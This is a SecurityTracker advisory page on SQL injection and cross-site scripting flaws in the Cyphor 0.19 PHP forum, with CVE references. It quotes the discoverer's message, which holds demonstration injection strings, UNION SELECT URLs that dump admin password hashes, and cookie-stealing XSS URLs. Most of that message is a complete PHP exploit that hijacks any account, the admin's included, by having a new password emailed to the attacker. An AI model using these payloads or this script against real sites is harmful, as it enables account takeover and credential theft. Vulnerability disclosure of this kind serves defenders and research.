SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   Cyphor Vendors:   Cynox webdesign
Cyphor Input Validation Holes Permot SQL Injection and Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1015020
SecurityTracker URL:  http://securitytracker.com/id/1015020
CVE Reference:   CVE-2005-3236, CVE-2005-3237   (Links to External Site)
Updated:  Jun 14 2008
Original Entry Date:  Oct 10 2005
Impact:   Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): 0.19
Description:   rgod reported a vulnerability in Cyphor. A remote user can inject SQL commands and conduct cross-site scripting attacks.

The software does not properly validate user-supplied input. A remote user can supply a specially crafted parameter value for the 'username' parameter to execute SQL commands on the underlying database.

The 'forgot your password' feature can be used to cause the system to reset the password for a username that contains SQL commands, allowing the remote user to obtain administrative access on the target application.

A demonstration exploit value is provided:

'or'X'='X

The 'newmsg.php' script does not properly validate user-supplied input in the 'fid' parameter.

A demonstration exploit URL is provided:

http://[target]/[path]/newmsg.php?fid=''%20UNION%20SELECT%20nick,%20password,%20null,%20null%20FROM%20[table_prefix]users%20/*

This script also allows cross-site scripting attacks. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Cyphor software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs ares provided:

http://[target]/[path]/newmsg.php?fid=''%20UNION%20SELECT%20null,%20"<script>alert(document.cookie)</script>",%20null,%20null/*

http://[target]/[path]/include/footer.php?t_login=<script>alert(document.cookie)</script>

Impact:   A remote user can execute SQL commands on the underlying database.

A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Cyphor software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Solution:   No solution was available at the time of this entry.
Vendor URL:  www.cynox.ch/cyphor/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.


 Source Message Contents

Subject:  Cyphor 0.19 SQL Injection / Board takeover / cross site scripting

|Cyphor 0.19 SQL Injection / Board takeover / cross site scripting

software:
site: http://www.cynox.ch/cyphor/
description:  Cyphor is a fast PHP4 + MySQL thread-based webforum

1)if magic quotes off -> SQL Injection:
by "Forgot your password?" feature you can send yourself a new admin password and reset it, poc:

email: [your_email]
nick: 'or'X'='X

soon, you will receive an email like this:

You have registered for a Cyphor forum (My Discussions). This is your confirmation.

Your username is: 'or'X'='X
Your password is: mixa-13b

now you can go to Administration panel, create/edit/delete forums/group/users,
you can insert evil javascript code in terms of usage or welcome message

2) SQL Injection II:
to see table_prefix (usually "cyphor_")
http://[target]/cyphor/newmsg.php?fid='

now you can see at screen admin password hash by this url:
http://[target]/[path]/newmsg.php?fid=''%20UNION%20SELECT%20nick,%20password,%20null,%20null%20FROM%20[table_prefix]users%20/*

(it is encrypted by cript() function with username as key, one way...but can try to bruteforce it)

3) xss (you can sql inject a javascript, it is showned at screen...):
http://[target]/[path]/newmsg.php?fid=''%20UNION%20SELECT%20null,%20"<script>alert(document.cookie)</script>",%20null,%20null/*

4) xss II:
http://[target]/[path]/include/footer.php?t_login=<script>alert(document.cookie)</script>
mphhh... you see clear text password as I see? ;)

and so on... a lot of uninitialized vars showned at screen in footer.php...


this is my proof of concept exploit, with this you can have a new password for any user/admin:

<?php
#   --- cyphor019_xpl.php                                   7.36 08/10/2005    #
#                                                                              #
#   Cyphor 0.19 ( possibly prior versions) SQL injection / board takeover      #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   send yourself any user / admin password right now!                         #
#                                                                              #
#   Sun Tzu: "There are five ways of attacking with fire. The first is to burn #
#   soldiers in their camp; the second is to burn stores; the third is to burn #
#   baggage trains; the fourth is to burn arsenals and magazines; the fifth is #
#   to hurl dropping fire amongst the opponent."                               #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>Cyphor 0.19  SQL Injection/board takeover  </title><meta
http-equiv="Content-Type"   content="text/html;  charset=iso-8859-1">     <style
type="text/css"> body {    background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
{background-color:   #FFFFFF   !important}  input  {background-color:   #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important}     h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #1CBr81; } a:hover{text-decoration: underline;
color : #1CB081; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
Cyphor 0.19 (possibly prior versions) SQL injection / board takeover      </p><p
class="Stile6"> a  script  by rgod  at  <a     href="http://rgod.altervista.org"
target="_blank"> http://rgod.altervista.org</a></p> <table width="84%"><tr>  <td
width="43%"><form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=
value&host=value&port=value&username=value&proxy=value&your_email=value">    <p>
<input type="text" name="host"><span class="Stile5"> hostname (ex: www.sitename.
com)</span></p><p><input type="text" name="path"><span class="Stile5"> path (ex:
/cyphor/ or /forum/ or just /)</span></p><p><input type="text" name="port"><span
class="Stile5"> specify a port other than 80 (default value)</span></p><p><input
type="text" name="username"><span class="Stile5">user whom you want the password
,admin? ;)    </span>   </p>   <p>     <input type="text" name="your_email"><span
class="Stile5"> email where the password will be sent</span>  </p>  <p>   <input
type="text" name="proxy"><span class="Stile5"> send exploit through an HTTP prox
y (ip:port)    </span></p><p><input type="submit" name="Submit" value="go!"></p>
</form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
            $ji=0;
            $ci++;
            echo "<td>&nbsp;&nbsp;</td>";
            for ($li=0; $li<=15; $li++)
                     { echo "<td>".$headeri[$li+$ki]."</td>";
                }
           $ki=$ki+16;
           echo "</tr><tr>";
           }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                     { echo "<td>&nbsp&nbsp</td>";
                      }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                     { echo "<td>".$headeri[$li]."</td>";
                }
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
          {$ock=fsockopen(gethostbyname($host),$port);
           if (!$ock) { echo 'No response from '.htmlentities($host).'...';
            die;
               }}

            else
          {
        if (!eregi($proxy_regex,$proxy))
        {echo htmlentities($proxy).' -> not a valid proxy...';
         die;
        }
       $parts=explode(':',$proxy);
        echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
        $ock=fsockopen($parts[0],$parts[1]);
        if (!$ock) { echo 'No response from proxy...';
            die;
               }
       }
fputs($ock,$packet);
if ($proxy=='')
 {

   $html='';
   while (!feof($ock))
     {
       $html.=fgets($ock);
     }
 }
else
 {
   $html='';
   while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
   {
     $html.=fread($ock,1);
   }
 }
fclose($ock);
echo nl2br(htmlentities($html));
}

define('EMAIL_PREG', '#^[a-z0-9&\-_.\+]+?@[\w\-]+\.([\w\-\.]+\.)?[\w]+$#');
define('USER_PREG', '#^[A-Za-z0-9_\-]+$#');

if (($path<>'') and ($host<>'') and ($your_email<>'') and ($username<>''))
{
if (!preg_match(EMAIL_PREG, $your_email)) {echo '<br>Need a valid email...'; die;}
if (!preg_match(USER_PREG, $username)) {echo '<br>Need a valid username...'; die;}
 if ($port=='') {$port=80;}
 if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

#STEP 1 -> retrieve the table prefix...
$packet="GET ".$p."show.php?fid=' HTTP/1.0 \r\n";
$packet.="User-Agent: GetRight/4.5xx\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);

$temp=explode("SELECT * FROM ",$html);
$temp2=explode("forums WHERE",$temp[1]);
$table_prefix=trim($temp2[0]);

echo '<br> Table prefix ->'.htmlentities($table_prefix);
if ($table_prefix=='') {echo 'Exploit failed...'; die;}

#STEP 2 -> send yourself a new password...
$sql="') UNION SELECT * FROM ".$table_prefix."users WHERE nick='".$username."'/*";
$sql=urlencode($sql);
$data="email=".urlencode($your_email)."&nick=".$sql."&submit=Submit";
$packet="POST ".$p."lostpwd.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."lostpwd.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Internet Ninja x.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
if (eregi("New password sent.",$html)) {echo '<br>Exploit successful...check your email box...';}
                else   {echo '<br>Exploit failed...';}
}
else
{ echo 'Fill in requested fields, optionally specify a proxy...'; }
?>

rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/cyphor019.html

|
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC